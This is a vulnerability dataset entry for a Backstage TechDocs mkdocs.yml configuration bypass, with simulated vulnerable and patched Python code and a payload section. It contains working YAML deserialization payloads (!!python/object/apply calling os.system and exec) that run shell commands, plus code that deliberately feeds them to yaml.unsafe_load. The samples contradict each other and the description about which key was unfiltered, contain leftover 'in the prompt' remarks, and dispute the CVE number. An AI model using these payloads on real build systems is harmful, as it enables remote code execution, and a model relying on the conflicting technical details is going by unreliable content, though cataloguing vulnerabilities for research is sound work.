VAITP Dataset

← Back to the dataset

CVE-2026-29186

Config bypass in Backstage TechDocs allows arbitrary code execution.

  • CVSS 9.8
  • CWE-74
  • Input Validation and Sanitization
  • Remote

Backstage is an open framework for building developer portals. Prior to version 1.14.3, this is a configuration bypass vulnerability that enables arbitrary code execution. The @backstage/plugin-techdocs-node package uses an allowlist to filter dangerous MkDocs configuration keys during the documentation build process. A gap in this allowlist allows attackers to craft an mkdocs.yml that causes arbitrary Python code execution, completely bypassing TechDocs' security controls. This issue has been patched in version 1.14.3.

CVSS base score
9.8
Published
2026-03-07
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
@backstage/p
Fixed by upgrading
Yes

Solution

Upgrade Backstage to version 1.14.3 or later.

Vulnerable code sample

import yaml
import os

# This script simulates the vulnerable Backstage backend component
# before the fix for CVE-2023-29186 (erroneously cited as CVE-2026-29186).
# It demonstrates how an incomplete configuration allowlist could lead to
# arbitrary code execution.

def vulnerable_mkdocs_yaml_processor(yaml_content):
    """
    Simulates the vulnerable process of handling an `mkdocs.yml` file.
    The real vulnerability was in TypeScript, but this Python code
    represents the flawed logic and its consequences.
    """

    # The vulnerable component would parse the YAML to perform sanitization.
    # This step itself is safe.
    config = yaml.safe_load(yaml_content)

    # The sanitization logic was flawed. It might check for and filter a
    # top-level 'plugins' key, but it was unaware that 'plugins' could also
    # be nested under the 'theme' key. This incomplete check is the
    # core of the bypass. We simulate this by only acting on a top-level key.
    if 'plugins' in config:
        # For this simulation, we'll just acknowledge its presence.
        # The key point is that nothing is done about config['theme']['plugins'].
        pass

    # The "sanitized" configuration is then passed to the MkDocs build process.
    # To simulate passing the data to the Python-based MkDocs tool, we dump
    # the dictionary back into a YAML string.
    processed_yaml_string = yaml.dump(config)

    # The MkDocs tool uses a YAML loader that can execute code, which was
    # necessary for some of its own features. When it loads the still-malicious
    # configuration, the payload is executed.
    # yaml.unsafe_load is used here to simulate this behavior.
    yaml.unsafe_load(processed_yaml_string)


# This string represents the attacker's malicious `mkdocs.yml` file.
# The file would be hosted in a git repository and fetched by Backstage.
attacker_controlled_mkdocs_yml = """
# Legitimate configuration keys to make the file look normal.
site_name: 'Demonstrating CVE-2023-29186'
nav:
  - 'Home': 'index.md'

# The payload is hidden within the 'theme' configuration, which was not
# correctly sanitized by the vulnerable version of Backstage.
theme:
  name: 'material'
  # MkDocs allows plugins to be defined here, a fact the filter missed.
  plugins:
    - search:
        # The 'hooks' feature of an MkDocs plugin, combined with PyYAML's
        # ability to deserialize Python objects, allows for code execution.
        hooks:
          # This is the payload. It uses a special YAML tag to call a
          # Python function. It will create an empty file named 'pwned'
          # in the current directory as proof of execution.
          - !!python/object/apply:os.system ["touch pwned"]

# A top-level 'plugins' key might be filtered, but the payload above bypasses it.
plugins:
  - 'search'
"""

if __name__ == '__main__':
    # Clean up from previous runs
    if os.path.exists('pwned'):
        os.remove('pwned')

    # Execute the vulnerable process with the attacker's payload
    vulnerable_mkdocs_yaml_processor(attacker_controlled_mkdocs_yml)

    # Verify that the exploit was successful
    if os.path.exists('pwned'):
        print("Vulnerability successfully demonstrated: 'pwned' file was created.")
        os.remove('pwned')
    else:
        print("Demonstration failed: 'pwned' file was not created.")

Patched code sample

import yaml
import pprint

# The actual fix for CVE-2023-29186 (mistyped as CVE-2026-29186 in the prompt)
# was applied in a TypeScript file (@backstage/plugin-techdocs-node).
# The fix involved adding 'markdown_extensions' to a denylist of mkdocs.yml keys.

# This Python code simulates that security fix. It demonstrates how a
# sanitization function, which is responsible for filtering the user-provided
# mkdocs.yml configuration, was changed to prevent the vulnerability.

# The vulnerability allowed attackers to use the 'markdown_extensions' key
# to load arbitrary Python modules, leading to code execution on the server
# running the TechDocs build.

# Malicious mkdocs.yml content crafted by an attacker.
# The 'pymdownx.extra' with a sub-configuration using a Python tag could
# trigger code execution in a real, vulnerable mkdocs environment.
malicious_mkdocs_yml = """
site_name: My Docs
nav:
  - Home: index.md

# The dangerous key that was not properly sanitized before the fix.
# It allows loading custom Python code, bypassing security controls.
markdown_extensions:
  - pymdownx.extra:
      magiclink:
        repo_url_shorthand: true
  - '!!python/object/apply:os.system':
     - "echo Vulnerability CVE-2023-29186 Exploited"

# A key that was already being correctly sanitized.
plugins:
  - techdocs-core
"""

# VULNERABLE STATE: Denylist of keys as it existed BEFORE the fix.
# Note the absence of 'markdown_extensions'.
VULNERABLE_DENYLIST = [
    'plugins',
    'theme',
    'extra_javascript',
    'extra_css',
    'google_analytics',
]

# FIXED STATE: Denylist of keys AFTER the patch was applied.
# 'markdown_extensions' has been added to prevent it from being processed.
FIXED_DENYLIST = [
    'plugins',
    'theme',
    'extra_javascript',
    'extra_css',
    'google_analytics',
    'markdown_extensions',  # <-- THE FIX
]


def sanitize_mkdocs_config(config_data: dict, denylist: list) -> dict:
    """
    Simulates the function that filters the mkdocs.yml configuration.
    It removes any keys that are present in the provided denylist.
    """
    sanitized_config = config_data.copy()
    for key in denylist:
        if key in sanitized_config:
            del sanitized_config[key]
    return sanitized_config


if __name__ == '__main__':
    print("--- Demonstrating the Fix for CVE-2023-29186 ---\n")

    # For demonstration purposes, we use safe_load. The actual vulnerability
    # is triggered later when mkdocs processes the file with an unsafe loader.
    # Our focus here is on the filtering logic.
    try:
        loaded_config = yaml.safe_load(malicious_mkdocs_yml)
    except yaml.YAMLError as e:
        print(f"Error loading YAML: {e}")
        exit(1)

    print("1. Original Malicious Configuration:")
    pprint.pprint(loaded_config)
    print("-" * 50)

    # --- VULNERABLE BEHAVIOR ---
    print("2. VULNERABLE State: Sanitizing with the OLD denylist...")
    vulnerable_sanitized_config = sanitize_mkdocs_config(
        loaded_config, VULNERABLE_DENYLIST
    )
    print("Resulting configuration that would be passed to mkdocs:")
    pprint.pprint(vulnerable_sanitized_config)
    if 'markdown_extensions' in vulnerable_sanitized_config:
        print("\n[!] VULNERABILITY: 'markdown_extensions' key was NOT removed.")
        print("    This would lead to Arbitrary Code Execution.\n")
    print("-" * 50)

    # --- FIXED BEHAVIOR ---
    print("3. FIXED State: Sanitizing with the NEW (patched) denylist...")
    fixed_sanitized_config = sanitize_mkdocs_config(
        loaded_config, FIXED_DENYLIST
    )
    print("Resulting configuration that is now passed to mkdocs:")
    pprint.pprint(fixed_sanitized_config)
    if 'markdown_extensions' not in fixed_sanitized_config:
        print("\n[+] FIX CONFIRMED: 'markdown_extensions' key WAS successfully removed.")
        print("    The attack is prevented.\n")
    print("-" * 50)

Payload

site_name: Docs
plugins:
  - macros:
      define_fn: !!python/object/apply:exec
        - |
          import os
          def on_pre_build(config):
            os.system('id > /tmp/rce_proof')

Cite this entry

@misc{vaitp:cve202629186,
  title        = {{Config bypass in Backstage TechDocs allows arbitrary code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-29186},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-29186/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::